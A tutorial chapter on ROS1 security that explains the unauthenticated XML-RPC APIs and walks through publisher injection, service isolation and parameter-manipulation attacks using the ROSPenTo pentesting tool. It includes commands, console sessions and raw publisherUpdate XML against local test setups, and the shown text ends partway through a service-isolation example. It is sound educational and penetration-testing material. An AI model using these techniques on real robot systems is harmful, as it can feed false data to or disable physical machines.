In the context of ROS, we introduce ROSPenTo and Roschaos, two tools, which
can be used to manually or automatically perform attacks on running ROS applica-
tions. They make use of the vulnerabilities in the ROS API. In this chapter, we will
use them to demonstrate attacks on ROS applications and show what the effects of
such manipulations can be. To provide a deeper understanding of where those vul-
nerabilities originate, we first describe the ROS XML-RPC API. Based on this, we
describe the sequences in which attacks are performed and give in-depth details of
what exactly happens in each step. After that, Roschaos and ROSPenTo are explained
and demonstrated as real tools to perform those attacks.

Overview

In this tutorial chapter, the reader will learn about specific vulnerabilities in ROS and
why they exist along with information about how they can be exploited to manipulate
ROS applications. Further, the use of ROSPenTo and Roschaos to carry out some
types of attacks will be explained in detail.

The rest of this tutorial is structured as follows:

– Background: In Sect. 2, we survey some state of the art on robot security and
describe the ROS API, which is the basis for our attack patterns.

– Attacks on ROS: In Sect. 3, we describe those attack patterns in more detail by
explaining how and why they work in ROS.

– ROSPenTo: In Sect. 4, we present the ROSPenTo tool and the analyses and attacks
it can perform along with practical examples.

– Roschaos: The Roschaos tool will be described in Sect. 5.
– Conclusion: Finally, we conclude in Sect. 6 and describe practical aspects and

countermeasures for the attacks of ROSPenTo and Roschaos.

2 Background

In this section we dive into the low-level mechanisms of ROS. In order to model the
interactions between the components of the graph, ROS defines several horizontal
APIs. As said, those are the pivotal attack surfaces discussed in this tutorial. Below
we present an overview of them, which is necessary to understand how it is possible
to carry out the attacks addressed by the proposed tools.
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2.1 Related Work in ROS Security

The security issues in ROS have been known for quite some time now. A first assess-
ment has shown severe vulnerabilities and potential for manipulation [10]. This has
been neglected since ROS has been used mainly in research and closed facilities.
However, a recent study revealed that now there are quite some instances of ROS
running openly accessible via the internet [4].

In recent years, several works have been concerned with improving the security
of ROS. SROS is an attempt to secure ROS at the graph level and on the data
communication level [20, 21]. An application-level approach has been presented in
[17] the authors study the performance impact of using encryption in ROS. Their
architecture however, where a dedicated node subscribes, encrypts and re-publishes
ROS messages, is not suitable for realworld use since the plain-text ROS topic is still
available for subscription.

Another application-level approach has been presented in [6]. It uses a dedicated
authorization server to ensure that only valid nodes participate in the ROS network.
Topic-specific encryption keys are used to ensure data confidentiality. In follow-
up work, a hardened ROS core with authentication, authorization and encryption
functions that are transparent to the ROS nodes and thus do not require nodes to be
changed has been developed [2]. This work has been further extended with secure
workflows and initial penetration testing support in [5].

In [15], the various approaches on ROS security are compared and evaluated.
Recently, Vilches et al. have progressed towards quantifying (in)security of robots
and have presented a framework for security assessment [18, 19].

2.2 ROS API

Shared among the various ROS1 client libraries is a common and established set of
subsystem APIs that are used to string together ROS nodes into a interconnected
computational graph. Aside from the basic message transport protocols, the rest of
the API can be divided into three main categories, including: the Master API, Slave
API, and Parameter Server API. These APIs reflect the roles of the participants as
well as the context for the exchange, namely that between the Master and among
other nodes.

These APIs are implemented via XML-RPC, which is a stateless, HTTP-based
remote procedure protocol. Given the web landscape around 2007, the beginning year
of ROS1 development, the protocol was chosen for being relatively lightweight, no
stateful connection requirements, and wide availability in a variety of programming
languages. With the simplicity of the former and the availability of the latter perhaps
facilitating the multitude of multilingual client libraries ROS1 provides today.

However the reliance on XML-RPC comes with a number of drawbacks. Criti-
cisms include verbose encoding of application-level data resulting in greater overhead
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Fig. 1 Example high-level diagram of ROS1 API. Shown is a example scenario of the ROS1 API
in the case of the classic talker/listener example, where a publisher advertises the topic chatter after
subscribers are already registered

costs, and more notably the lack of any authenticated encryption or authorized remote
execution. While identification of clients for authorization purposes can be achieved
using HTTPS security methods, ROS1 does not yet support such identification and
authentication features needed for enforcing basic access control. Thus the entirety
of the ROS1 API may be rendered vulnerable to unintended or malicious exchanges
from anonymous network participants.

Every XML-RPC API call takes a number of required parameters, e.g.
caller_id, and returns a tuple of three values including a status code, an inte-
ger indicating the completion condition of the method, a status message, a human-
readable string describing the return status for debugging, and a response value of
some data type further defined by the individual API call. The rest of this section
details the intended use of the three API categories, additionally foreshadowing the
potential vulnerability each call method may surface (Fig. 1).

2.3 Master API

The Master API,2 as the name suggests, provides nodes (clients) a standardized
interface to connect to the master (server). Given that ROS1 relies on a centralized
Master process to host discovery information, this API provides the topic/service

2wiki.ros.org/ROS/Master_API.

akoubaa@coins-lab.org



188 B. Dieber et al.

registration and namespace lookup used for establishing and maintaining a distributed
peer-to-peer publish/subscribe network.

2.3.1 Register/Unregister—Subscriber, Publisher, Service

These calls make use of the caller_id and API URI of the node, additionally
the namespace/data-type for subsystem registration. For unregistration, one of the
first two parameters are needed, but will only occur if current registration matches.
Note that identity derives completely via the call parameters provided and is never
necessarily proven, neither through the context of the socket connection or otherwise,
enabling trivial spoofing of registration requests.

2.3.2 Lookup—Node, Service

These calls are used to lookup the URIs for nodes given a node_id or service given
service name, enabling the resolution for the URI location of namespaced nodes and
services. Acquiring the URI for a target element in the graph is the starting point for
many remote attacks; open oracle access to arbitrary disclosure of this information
simplifies this process greatly.

2.3.3 Get—Master State/URI, Topic List/Type

For further introspection, the internal state of the Master can be retrieved, detailing
the entire topology of the ROS system, i.e. all current publishers, subscribers, and
services. This is used by debugging and live monitoring tools like rqt’s node graph
visualizer. Deeper topic introspection is also possible, and is particularly useful for
fingerprinting the system and ascertaining the necessary header information to spoof
subsystem connection requests.

2.4 Parameter API

The Parameter Server API3 mainly deals with the management of global parameters
within ROS1, where the server is actually part of the Master. Presumably this API
was made as a separate entity from the Master API to enable separation in the future,
which remains unlikely for ROS1. Still this centralized model is able to distribute
changes in parameters by invoking callback for namespaced parameter keys which
nodes may register for.

3wiki.ros.org/ROS/Parameter%20Server%20API.
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2.4.1 Set, Get, Delete

These calls afford the reading and writing parameter values into the key-value param-
eter storage. All anonymous agents are provided read and write permissions to the
parameter database given that no ownership model is enforced, nor are any names-
pace restrictions retained. For example, every node registers a logging level parameter
that may be used to silence or censor log activity.

2.4.2 Has, Search, List

For introspection, additional calls provide greater inquiries into the parameter names-
pace tree, ranging from checking a target key, recursively searching the names-
pace hierarchy, or a complete dump of instantiated keys. Such calls are commonly
employed by developer or user interface tools such as rqt’s dynamic reconfigure to
list node parameters into a front panel display. This is additionally useful for profiling
or fingerprinting the purpose and capabilities of system components.

2.4.3 Subscribe, Unsubscribe

To synchronize local node parameters with those stored globally in the parameter
server, nodes may subscribe to value change events for a given parameter key. These
callbacks are initiated by the parameter server, where temporary connection to the
node’s Slave API is created upon each event. Given the socket connection is not
continuous, unlike topics or actions, the parameter subsystems as with services are
particularly exploitable using isolation attacks.

2.5 Slave API

The Slave API,4 hosted by every ROS1 node, serves two main roles: receiving call-
backs from the Master, and negotiating connections with other nodes. Additional sys-
tem level calls are also provided for orchestration and monitoring purposes. Though
it is not possible to update the Master URI through the Slave API, its invocation
enables any local anonymous connection to essentially usurp the role of the Master.

2.5.1 Update—Publisher, Parameter

These methods serve as callbacks for the Master to notify subscribing nodes of
changed topic publishers registered or to disseminate modified values of parameter

4wiki.ros.org/ROS/Slave_API.
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keys. As most nodes merely register for such events, rather than requesting and
subsequently parsing the entire system state from the Master API directly, these
callbacks are the dominant mechanism for discovery and synchronization of data
through the ROS1 graph.

2.5.2 Request—Topic Transport Info

After a subscriber receives a publisher update callback, it will subsequently request
the topic info by contacting the new publishers directly to negotiate an established
means of transport, e.g. ROSTCP or ROSUDP. This phase also checks to ensure
expected data types match via comparing message type checksums from the con-
nection header. A separate socket port is relegated for the actual message transport,
thus this handshake may be bypassed if the URI for transport is known a priori.

2.5.3 Get—Bus State/Info, Master URI, Pid, Subscription, Publications

For remote diagnostic purposes, additional system level calls provide current statis-
tics and meta info on active transport connections, configured Master URI, process
identifier of the node on relative host, as well the node’s internal record of its own sub-
scribed and published topics. These calls are commonly used by debugging and pro-
filing tools like rosnode info to troubleshoot connectivity or bandwidth issues.
These calls however reveal much in the way of the local graph topology without
necessarily resorting to the Master API.

2.5.4 Shutdown

A particularly powerful call is the shutdown method that can be used to remotely self
terminate the node process. This method is used by the Master when resolving node
namespace conflicts, i.e nodes with duplicate fully qualified names, by convention-
ally killing the older node in favor of the newer. However this method is not restricted
to the Master and can be invoked by any client, e.g. from rosnode kill, per-
mitting the termination of ROS process without requiring the proper POSIX signal
permissions in the target host.

3 Attacks on ROS

In this section we explain some basic ways ROS can be manipulated by an attacker.
Knowing the workflows behind ROS communication allows us to reveal weaknesses.
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3.1 Stealth Publisher Attack

The stealth publisher attack aims at injecting false data into a running ROS applica-
tion. Another ROS node is tricked into consuming data from a false publisher node. In
this attack, an attacker utilizes the publisherUpdate call to isolate a subscriber
from one or more regular publishers and additionally force it to establish topic com-
munication to an unauthorized publisher, which need not necessarily be known to the
ROS master. Additionally, the getSystemState call and the lookupNode call
from the ROS Master API as well as the requestTopic call of the XML-RPC
Slave API are used in this attack scenario, which is also graphically described in
Fig. 2 in the form of a sequence diagram.

The sequence diagram, contains four entities:

– The ROS master M

– A subscribing entity S, which subscribes to a topic topic

– A publishing entity P , which is publishing topic-messages
– An attacking entity A, which targets S

Basically, the scenario is divided into a preparation phase, where A gets the necessary
information to run the attack and an attacking phase, where the communication
relations of S regarding topic are manipulated in a way that S only receives messages
from A afterwards.

In the first step, A requests the current system state in the ROS network from M , by
calling the getSystemState method. Now, A knows which nodes are currently
communicating over which topics. Particularly, A knows that S and P are commu-
nicating over the targeted topic topic. By subsequently calling the lookupNode
method twice, A gets the XML-RPC URIs of S and P . With this information, A can
now move on to the attacking phase.

First A sends a publisherUpdate call to S, which contains only A’s XML-
RPC URI in the list of currently known publishers to S. As a result, S termi-
nates the connection to P and initiates the communication with A, by sending a
requestTopic call. From now on, we have to differentiate whether S wants to
use TCPROS or UDPROS for data transport. In case of TCPROS, A forwards the
received call to P and receives—besides other information—the port where P lis-
tens for new TCP connections as a result. Before forwarding the reply to S, A has
to change the host and port information. Next, S establishes a TCP connection to A

and sends a TCPROS header. A then forwards this header to P in the same way, to
receive a correct TCPROS header message, which it can send back to S. After that, A

can start sending its own topic messages to S. When using UDPROS, the UDPROS
header is included in S’ requestTopic call. As a consequence, A has to forward
the call to P again, in order to get a correct header for the reply. After A has sent
the correct reply to S, A immediately starts to send the topic messages. Note, that
the number of publishers which can be excluded is not limited in this scenario. If we
had more than one publisher, S would terminate the communication to all of them
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Fig. 2 Sequence diagram of a stealth publisher attack

and A would choose one of the publishers in order to get the correct header infor-
mation. Theoretically, the information extracted from M in the first phase could also
be requested from S or P by sending a getBusInfo call, but this would require
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Fig. 3 Communication within a ROS action

additional information like the XML-RPC URIs from S and P in advance. No matter
what the preparation phase looks like, the master is not aware of the changes in the
ROS graph which emerge from the attack. Consequently, the detection of this attack
requires advanced ROS graph analyzing methods.

3.2 Action Person-in-the-Middle Attack

In this attack scenario, we will utilize the stealth publisher attack to run a person-
in-the-middle attack on a ROS action. As described in the corresponding ROS wiki
page5 and shown in Fig. 3, under the hood, an action consists of five ROS topics.

Let’s suppose we have an action client AC and an action server AS, where AS

provides an arbitrary action. If AC wants to trigger this action, it sends a message on
the action specific goal topic. To cancel an action, AC has to publish a preempt request
on the cancel topic. An attacking entity A can now intercept this communication
by running a stealth publisher attack on these two topics. Additionally, by simply
publishing its own messages, A can trigger and cancel a modified action instance
on its own. Up to now, A does not prevent AS from sending feedback, result and
status messages to AC . Hence, AC can detect the attack, by interpreting unexpected
messages received from AS. This changes as soon as A runs three additional stealth
publisher attacks on the status, feedback and result topics. Now, A can publish the
messages AC would expect as a reply on its own messages sent on the topics goal
and cancel. From the communication point of view, this scenario is just the multiple
application of the previously described attack. The main challenge for the attacker
is the context sensitive knowledge required to pretend a reasonable behavior of AC

5http://wiki.ros.org/actionlib/DetailedDescription, last accessed 07/02/2018.
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and AS in order to remain undetected. Apart from that, the attack itself is not visible
in the ROS graph and therefore it is as hard to detect as the stealth publisher attack.

3.3 Service Isolation Attack

Whereas the previously described attacks target the topic based communication in
ROS, in this scenario an attacking instance A aims for the isolation of a service server.
To achieve this goal, A uses thegetSystemState, thelookupService and the
unregisterServicemethods from the ROS Master API. The sequence diagram
shown in Fig. 4 graphically describes the attack.

Here, A wants to isolate a ROS service service, provided by a service server S,
from the rest of the ROS network in order to exclusively call the service on its own
afterwards. In the first step, A calls the getSystemState method to receive a list
with all available services and their providers. With this information, A subsequently
calls the lookupService method, passes the name of the service to be targeted
and gets the URI of the service as a result. Now A uses the unregisterService
method to trick the master into removing the service from its internal list. For that,

Fig. 4 Sequence diagram of a service isolation attack
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the attacking entity has to pass the name of the service server, the name of the service
and the URI of the service as parameter. After that, a lookupService call of an
arbitrary service client C results in a negative response, which means that the service
is not available anymore for regular ROS nodes in the network. In contrast, S doesn’t
know that the service it provides is no longer available. Consequently, A can still
call the service whenever it wants by sending a TCPROS-Header and a subsequent
service request to the URI of the service. Note, that this attack can be detected by
calling the getSystemState method.

3.4 Malicious Parameter Update Attack

The ROS Parameter API provides two different options for a ROS node to get the
current value of a parameter stored on the parameter server. The first and probably the
more common way is to call the getParam method. Here the ROS node requests
the parameter value from the ROS Master and gets the current parameter value
as result. The second option is to subscribe to a specific parameter by calling the
subscribeParammethod. In this case the node stores the current parameter value
in a local variable. If the parameter value changes on the parameter server, the server
calls the node’s paramUpdate method, which results in the change of its local
variable for this parameter. In the malicious parameter update attack, an attacking
entity A utilizes this behavior to change the value of a parameter param locally in
the node’s application, without touching the corresponding value on the parameter
server. The sequence diagram shown in Fig. 5 graphically describes the information
flow between A, a subscribing ROS node N , and the ROS master M .

Fig. 5 Sequence diagram of a malicious parameter update attack
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First N has to subscribe to param1 by calling the subscribeParam method,
passing its name, the URI of its local XML-RPC server and the name of param as
parameter. The response then contains the current value of param. On a success-
ful subscription, N requests the value of param a second time, using the method
getParam. Now A comes into play and retrieves N ’s XML-RPC URI via the
lookupNode method. After that, A unsubscribes N from param, by faking an
unsubscribeParam call of N . Within this configuration, the parameter server
stops to send updates for param to N , while N still waits for paramUpdate
requests of the parameter server. A can utilize this state to get full control of the value
of param, which is locally stored at N , by simply sending its own paramUpdate
requests to N .

The scenario described here can also be applied on multiple nodes subscribing to
the same parameter. In the worst case, every node sees a different value of the same
parameter at a certain point of time, which can for instance lead to unpredictable
behavior in a distributed ROS application. Note, that cached parameters are only
supported by the roscpp package. Hence, the malicious parameter attack can only be
run on nodes implemented in C++.

4 ROSPenTo—The ROS Pentesting Tool

This section presents step-by-step guides on how to perform penetration testing in a
ROS application using a tool called ROSPenTo. Using ROSPenTo we show the stealth
publisher attack i.e., how a subscriber in a running ROS application can be tricked
into consuming false data without that being noticed by any other application node or
the ROS master. A second use-case describes how services can be isolated in order to
make them inaccessible by other ROS nodes. Finally, we show how ROSPenTo can
manipulate the ROS parameter server. But first, we give an introduction to ROSPenTo.

4.1 ROSPenTo Basics

ROSPenTo6,7 is a .net-based tool, which can be used to analyze and manipulate
running ROS applications. ROSPenTo runs on any .net-enabled platform including
any platform, which runs Mono.8

ROSPenTo is able to analyze multiple ROS application networks at the same time.
This can later be used to manipulate the individual applications and to reorganize
their ROS nodes.

6Download ROSPenTo at https://github.com/jr-robotics/ROSPenTo and follow building instruc-
tions in the README file.
7A video of ROSPenTo in action can be found at https://vimeo.com/295958352.
8http://www.mono-project.org.
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4.1.1 Launching ROSPenTo

ROSPenTo can be launched in two different ways: with and without command line
arguments. Passing no arguments when starting ROSPenTo runs the application in
interactive mode and the user can choose the procedures to be performed. In the
non-interactive mode, the application performs one single task depending on the
command line arguments passed.

Interactive mode The interactive mode is started by launching ROSPenTo without
command line arguments:

$ mono RosPenToConsole.exe

After a license header the following interaction menu is printed:

1 What do you want to do?
2 0: Exit
3 1: Analyze system ...
4 2: Print all analyzed systems

By typing the number (e.g. ‘0’ or ‘1’ or ‘2’) in the console window the correspond-
ing action (e.g. Exit or Analyze system or Print all analyzed systems) is performed
by the ROSPenTo. The options perform the following tasks:

0. Exit: The program execution will be stopped and the application terminates.
1. Analyze system: Requires the input of the ROS master URI to request information

about the ROS system. The ROS master provides information about the running
nodes, the available topics for communication, the accessible services and the
stored parameters. All the retrieved information is shown in the console window.

2. Print all analyzed systems: Prints a lists of all the already analyzed ROS systems.
A ROS system is represented by an unique number and the URI of the ROS
master.

After the first system was analyzed (option ‘1’) the following options are enabled
in the interaction menu:

1 What do you want to do?

2 0: Exit

3 1: Analyse system ...

4 2: Print all analyzed systems

5 3: Print information about analyzed system ...

6 4: Print nodes of analyzed system ...

7 5: Print node types of analyzed system (Python or C++) ...

8 6: Print topics of analyzed system ...

9 7: Print services of analyzed system ...

10 8: Print communications of analyzed system ...

11 9: Print communications of topic ...

12 10: Print parameters ...

13 11: Update publishers list of subscriber (add)...

14 12: Update publishers list of subscriber (set)...

15 13: Update publishers list of subscriber (remove)...

16 14: Isolate service ...
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17 15: Unsubscribe node from parameter (only C++)...

18 16: Update subscribed parameter at Node (only C++) ...

Listing 1.1 The interactive mode menu of ROSPenTo

The dots at the end of an option indicates that there is additional input of the user
necessary. The enabled options perform the following tasks:

3. Print information about analyzed system: Prints information about the running
nodes, the available topics for communication, the accessible services and the
stored parameters.

4. Print nodes of analyzed system: Lists all running nodes with an unique identifier,
the name and the URI of the node.

5. Print node types of analyzed system (Python or C++): Prints whether a node is
implemented in Python or in C++.

6. Print topics of analyzed system: Lists all topics which are involved in a commu-
nication between nodes.

7. Print services of analyzed system: Lists all available services in the ROS system.
8. Print communications of analyzed system: Prints a list of communication rela-

tionships. Every communication relationship consists of one or more publishers
which are publishing data for one or more subscribers under a specific topic.

9. Print communications of topic: Prints a single communication relationship for a
specific topic which must be defined by a user input.

10. Print parameters: Lists all the stored parameter in the ROS system.
11. Publisher update (add publishers): Adds a new publisher to in the communica-

tion relationship of a subscriber. So, the subscriber’s publishers list is updated in
the communication relationship and the subscriber is able to receive data from
an additional publisher.

12. Publisher update (set publishers): Same as option 4.1.1 but the defined pub-
lisher(s) is/are explicitly set as the subscriber’s publishers, i.e., any existing
publishers will be overwritten.

13. Publisher update (remove publishers): Removes a publisher from the sub-
scriber’s publishers list. The subscriber will not receive any further data from a
removed publisher.

14. Service isolation: Unregisters a service at the ROS master (the service is still
available at the service provider, the ROS master will just no longer pass on the
contact information to other nodes).

15. Unsubscribe node from parameter (only C++): Unsubscribes a node from a
parameter and the node will not receive any further updates of the parameter.

16. Update subscribed parameter at Node (only C++): Updates a parameter for
exactly one specified node in the ROS system.

Command line arguments The non-interactive mode of ROSPenTo performs one
single task and terminates at the end. Currently, the available tasks are limited to
publisher update (11:–13: of interactive mode menu) procedures but will be extended
in the coming releases of the ROSPenTo (check the ROSPenTo repository for an
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up-to-date list). To perform a publisher update procedure various command line
arguments have to be passed when launching ROSPenTo:

-t or --target: (Required). ROS Master URI of the target system. The target ROS
system is the ROS system where the affected subscriber is in.

-p or --pentest: (Required). ROS Master URI of the penetration testing system
(the attacker network).

--sub: (Required) Name of the affected subscriber in the target system.
--top: (Required) Name of the affected topic.
--pub: (Required) Name of the new publisher in the penetration testing

system.
--add: (Default: False) In the publisherUpdate command, this adds pub-

lisher to existing ones.
--set: (Default: False) In the publisherUpdate, this command sets new

publisher.
--remove: (Default: False) In the publisherUpdate command, this removes

publishers from existing ones.

So, the following parameters are required to be defined and provided with the
corresponding value: [-t or –target, -p or –pentest, –pub, –sub, –top].
The order of the parameters does not matter. Additionally, at least one of the following
options (withour arguments) is required: [–add,–set,–remove].

Example: The following command adds the publisher /talker to the commu-
nication via the topic /chatter of the subscriber /listener.

$ mono RosPenToConsole .exe -t http :// localhost :11311 --sub

→֒ /listener --top /chatter -p http :// localhost :11312

→֒ --pub /talker --add

Note that the subscriber runs in the target ROS system (-t or --target) and
the publisher runs in the penetration testing ROS system (-p or --pentest).

4.1.2 Addressing Entities in ROSPenTo

ROS networks quickly become complex and hard to overview, especially using con-
sole tools. ROSPenTo is even able to manage multiple ROS networks at the same
time. This requires some sort of addressing an entity (a node, topic or service) in this
command-line interface.

ROSPenTo assigns each entity in the ROS network a number and uses this number
in conjunction with the number of the network to identify a single entity globally.
This generally has the form of x .y where x is the number of the network (called a
“system”) and y is the number of the entity within its class. Thus, the topic 0.15 is
the fifteenth topic found by ROSPenTo in the first system analyzed. Note however,
that 0.15 is not a unique identifier, there could be a 0.15 node but also a topic with
that number at the same time. ROSPenTo always asks inputs only within one specific
entity class (e.g., “which topic should be affected”).
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4.1.3 Analyzing a Network

To analyze a simple ROS application, let’s run the roscpp_tutorials9 or
rospy_tutorials10 talker node (they are contained in your desktop installation of ROS
or can be installed via apt-get).

$ roscore&
$ rosrun roscpp_tutorials talker

Then start ROSPenTo as shown above. After pressing 1 in the interactive menu,
enter the URI of a running roscore in order to analyze its nodes, topics and service.

>> 1

1 Please input URI of ROS Master: (e.g. http :// localhost

→֒ :11311/)

>> http :// localhost :11311

When running the rospy_tutorials talker, ROSPenTo prints the following network
structure:

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.2: /rosout (XmlRpcUri: http

→֒ ://127.0.0.1:45767/)

4 Node 0.0: /talker (XmlRpcUri: http

→֒ ://127.0.0.1:40907/)

5 Topics:

6 Topic 0.0: /chatter (Type: std_msgs/String)

7 Topic 0.1: /rosout (Type: rosgraph_msgs /Log)

8 Topic 0.2: /rosout_agg (Type: rosgraph_msgs /Log)

9 Services:

10 Service 0.4: /rosout/get_loggers

11 Service 0.5: /rosout/set_logger_level

12 Service 0.1: /talker/get_loggers

13 Service 0.0: /talker/set_logger_level

14 Communications:

15 Communication 0.0:

16 Publishers:

17 Node 0.0: /talker (XmlRpcUri: http

→֒ ://127.0.0.1:40907/)

18 Topic 0.0: /chatter (Type: std_msgs/String)

19 Subscribers:

20 Communication 0.1:

21 Publishers:

22 Node 0.0: /talker (XmlRpcUri: http

→֒ ://127.0.0.1:40907/)

23 Topic 0.1: /rosout (Type: rosgraph_msgs /Log

→֒ )

9http://wiki.ros.org/roscpp_tutorials.
10http://wiki.ros.org/rospy_tutorials.
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24 Subscribers:

25 Node 0.2: /rosout (XmlRpcUri: http

→֒ ://127.0.0.1:45767/)

26 Communication 0.2:

27 Publishers:

28 Node 0.2: /rosout (XmlRpcUri: http

→֒ ://127.0.0.1:45767/)

29 Topic 0.2: /rosout_agg (Type: rosgraph_msgs

→֒ /Log)

30 Subscribers:

Listing 1.2 Output of network analysis

This provides a variety of information. All the components of the ROS network
(e.g. nodes, topics, services, …) and the communication relationships are printed.
For every entity a reference number is generated where the first digit belongs to the
analyzed ROS system and the second digit is a unique number of the entity in its
category. Additionally, the URI for XML-RPC requests is shown for each node. In
the first block (line 2ff), all nodes in the network are displayed. Only the talker node
of the roscpp_tutorials is running along with the mandatory rosout node that starts
automatically with the roscore.

Second, all registered topics and services are listed (line 5ff). Here, also the mes-
sage types for each topic are displayed.

Under “Communications” (line 14ff), ROSPenTo prints all connections between
publishers and subscribers. In this case, there are no subscribers for the /chatter topic
since so far no subscriber has been started.

Now let’s start the listener to see the difference.

$ rosrun roscpp_tutorials listener

After running the system analysis again, the communications section shows the
talker node as subscriber to/chatter.

1 Communication 0.0:

2 Publishers:

3 Node 0.0: /talker (XmlRpcUri: http

→֒ ://127.0.0.1:40907/)

4 Topic 0.0: /chatter (Type: std_msgs/String)

5 Subscribers:

6 Node 0.1: /listener (XmlRpcUri:

→֒ http ://127.0.0.1:41313/)

The corresponding RQT graph is shown in Fig. 6.

Fig. 6 The RQT graph running talker and listener
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4.1.4 Modifying Publishers

Now that we know how to get information on publishers, subscribers and topics, we
can perform a first manipulation of a ROS network. First, we want to cut off the
listener node from the data which the talker publishes. Use the option 13 to remove
publishers from a subscriber.

>> 13

1 To which subscriber do you want to send the publisherUpdate

→֒ message?

2 Please enter number of subscriber (e.g.: 0.0):

>> 0.1

1 Which topic should be affected?
2 Please enter number of topic (e.g.: 0.0):

>> 0.0

1 Which publisher(s) do you want to remove?

2 Please enter number of publisher(s) (e.g.: 0.0 ,0.1 ,...):

>> 0.0

1 sending publisherUpdate to subscriber ’/listener (XmlRpcUri:

→֒ http ://127.0.0.1:42425/) ’ over topic ’/chatter (Type

→֒ : std_msgs/String)’ with publishers ’’

2 PublisherUpdate completed successfully.

If you look at the shell where you started the listener node, you will notice that the
output has stopped. The subscriber no longer receives any messages from the talker.

But what happened exactly? ROSPenTo called the XML-RPC function pub-

lisherUpdate with an empty list of publishers as parameter. This caused the listener
node to assume that no publishers are available for/chatter and thus, it terminated the
connection to the talker node. The xml content of this call is shown below.

<?xml version=’ ’1.0 ’ ’?>
<methodCall>
<methodName>publisherUpdate</methodName>
<params>
<param>
<value>/master</value>

</param>
<param>
<value>/ chatter</value>

</param>
<param>
<value>
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<array>
<data></ data>

</ array>
</value>

</param>
</params>

</methodCall>

Listing 1.3 XML content of a publisherUpdate call

It is interesting to note, that this has not been recognized by the master, if you
generate the RQT graph again, it will show again the same image as in Fig. 6 i.e.,
the master did not recognize that change.

4.1.5 Bridging Two ROS Networks

Now we look at a more advanced example. As already mentioned, ROSPenTo can
handle more than one ROS system at once. Thus, it is also able to manipulate them.
To demonstrate this, we start talker and listener in two different ROS networks i.e.,
associated to two different ROS masters.

$ roscore&
$ roscore -p 11312 &

We make use of the -p command line argument to set a different port for the second
master.

Next, start the talker with the first master.

$ export ROS_MASTER_URI=http :// localhost :11311
$ rosrun roscpp_tutorials talker

In a different shell, start the listener with the second master.

$ export ROS_MASTER_URI=http :// localhost :11312
$ rosrun roscpp_tutorials listener

Initially, the listener will not output any/chatter messages since in its ROS instance
there is no talker. Next, start ROSPenTo again and perform analyses of both ROS
systems using the two URIs http://localhost:11311 and http://localhost:11312.

The following listing shows the analysis output for the two systems (simplified
for readability).

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.0: /talker

4 Topics:

5 Topic 0.0: /chatter (Type: std_msgs/String)

6 Communications:

7 Communication 0.0:

8 Publishers:

9 Node 0.0: /talker
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10 Topic 0.0: /chatter (Type: std_msgs/String)

11 Subscribers:

12
13 System 1: http ://127.0.0.1:11312/

14 Nodes:

15 Node 1.0: /listener

16 Topics:

17 Topic 1.1: /chatter (Type: std_msgs/String)

18 Communications:

19 Communication 1.1:

20 Publishers:

21 Topic 1.1: /chatter (Type: std_msgs/String)

22 Subscribers:

23 Node 1.0: /listener

Listing 1.4 Analyses of the two ROS systems

It can be seen that in both instances, the/chatter topic is present but in system 0,
the communication 0.0 has no subscribers just as communication 1.1 in system 1 has
no publishers. The corresponding RQT graphs are shown in Fig. 7.

Next, we will use ROSPenTo to connect the talker to the listener.

>> 11

1 To which subscriber do you want to send the publisherUpdate

→֒ message?

2 Please enter number of subscriber (e.g.: 0.0):

>> 1.0

1 Which topic should be affected?
2 Please enter number of topic (e.g.: 0.0):

>> 1.1

1 Which publisher(s) do you want to add?

2 Please enter number of publisher(s) (e.g.: 0.0 ,0.1 ,...):

>> 0.0

Fig. 7 The RQT graphs of talker and listener running in different ROS systems
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1 sending publisherUpdate to subscriber ’/listener (XmlRpcUri:

→֒ http ://127.0.0.1:42959/) ’ over topic ’/chatter (Type:

→֒ std_msgs/String)’ with publishers ’/talker (XmlRpcUri:

→֒ http ://127.0.0.1:38383/) ’

2 PublisherUpdate completed successfully.

You will now see outputs in the shell where you started the listener node. Again,
the RQT graph will show no change.

4.1.6 Analyzing Node Types

In this section we will analyze the programming language used for the nodes’ imple-
mentation. Although the C++ and Python implementations of the ROS master and
slave APIs are compatible, they have differences in their implementation. This allows
us to analyze, which ROS client implementation was used for a specific node. Par-
ticularly, we will call the XML-RPC method getName, which is implemented only
in the Python slave API and analyze the response.

Note: This function currently does not consider rosjava or any other ROS client
implementaiton.

<?xml version=’ ’1.0 ’ ’?>
<methodCall>
<methodName>getName</methodName>
<params>
<param>
<value>/master</value>

</param>
</params>

</methodCall>

Listing 1.5 XML content of a publisherUpdate call

If the node was implemented in C++, then it doesn’t provide a XML-RPC method
with this name and the call fails with an exception. Otherwise the node returns a
triple with status code, empty status message and node name. With this information,
we then can distinguish between Python and C++ nodes.

Knowing which language was used to write a node allows for the exploitation of
specific vulnerabilities.

First, we start a talker node of the roscpp_tutorial package

$ rosrun roscpp_tutorial talker

and a listener node of the rospy_tutorial package.

$ rosrun rospy_tutorial listener

Next we analyze the ROS network with ROSPenTp.
As we can see in the network structure there are three active ROS nodes.
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1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.1: /listener_14567_1530173733892 (XmlRpcUri:

→֒ http ://127.0.0.1:37908/)

4 Node 0.2: /rosout (XmlRpcUri: http

→֒ ://127.0.0.1:35249/)

5 Node 0.0: /talker (XmlRpcUri: http

→֒ ://127.0.0.1:41029/)

Listing 1.6 Output of network analysis (node part)

Now we will use ROSPenTo to print the node types of the nodes running in the
system:

>> 5

1 Please enter number of analysed system:

>> 0

1 Node 0.0: C++
2 Node 0.1: Python
3 Node 0.2: C++

4.1.7 Isolating a Service

In our next example, we will use ROSPenTo to isolate a service from the target
system and register it to our attacking system, in order to exclusively call the service
on our own. Again, we start two ROS master processes just as in the example on
bridging two networks above.

Then we run a service server for the add_two_ints service of the roscpp_tutorials
package in the target system.

$ export ROS_MASTER_URI=http ://127.0.0.1:11311
$ rosrun roscpp_tutorials add_two_ints_server

Now we run ROSPenTo to analyse the two systems. The output of our target
system shows a node/add_two_ints_server and a service /add_two_ints.

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.0: /add_two_ints_server (XmlRpcUri: http

→֒ ://127.0.0.1:41144/)

4 Node 0.2: /rosout (XmlRpcUri: http

→֒ ://127.0.0.1:35249/)

5 Node 0.1: /rqt_gui_py_node_16990 (XmlRpcUri:

→֒ http ://127.0.0.1:35176/)

6 Services:

7 Service 0.2: /add_two_ints

8 Service 0.0: /add_two_ints_server /get_loggers
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9 Service 0.1: /add_two_ints_server /

→֒ set_logger_level

10 Service 0.5: /rosout/get_loggers

11 Service 0.6: /rosout/set_logger_level

